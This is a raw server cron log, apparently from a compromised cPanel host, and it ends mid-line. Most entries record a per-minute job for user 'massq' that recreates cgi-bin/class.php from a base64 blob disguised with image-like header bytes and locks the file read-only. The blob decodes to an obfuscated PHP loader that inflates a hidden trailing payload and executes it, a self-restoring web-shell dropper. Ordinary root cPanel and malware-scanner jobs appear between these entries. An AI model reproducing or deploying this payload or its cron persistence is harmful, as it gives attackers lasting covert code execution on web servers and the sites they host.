Nov 11 05:06:01 server CROND[13084]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:07:01 server CROND[13832]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:08:01 server CROND[14658]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:09:01 server CROND[15473]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 05:09:01 server CROND[15475]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:10:01 server CROND[16302]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 05:10:01 server CROND[16304]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:10:01 server CROND[16301]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 05:10:01 server CROND[16303]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 05:11:01 server CROND[17269]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:12:01 server CROND[18095]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:12:01 server CROND[18096]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 05:13:02 server CROND[18917]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:14:01 server CROND[19728]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:15:01 server CROND[20547]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 05:15:01 server CROND[20548]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 05:15:01 server CROND[20549]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:16:01 server CROND[21316]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:17:01 server CROND[22070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:18:01 server CROND[22881]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:19:01 server CROND[23718]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 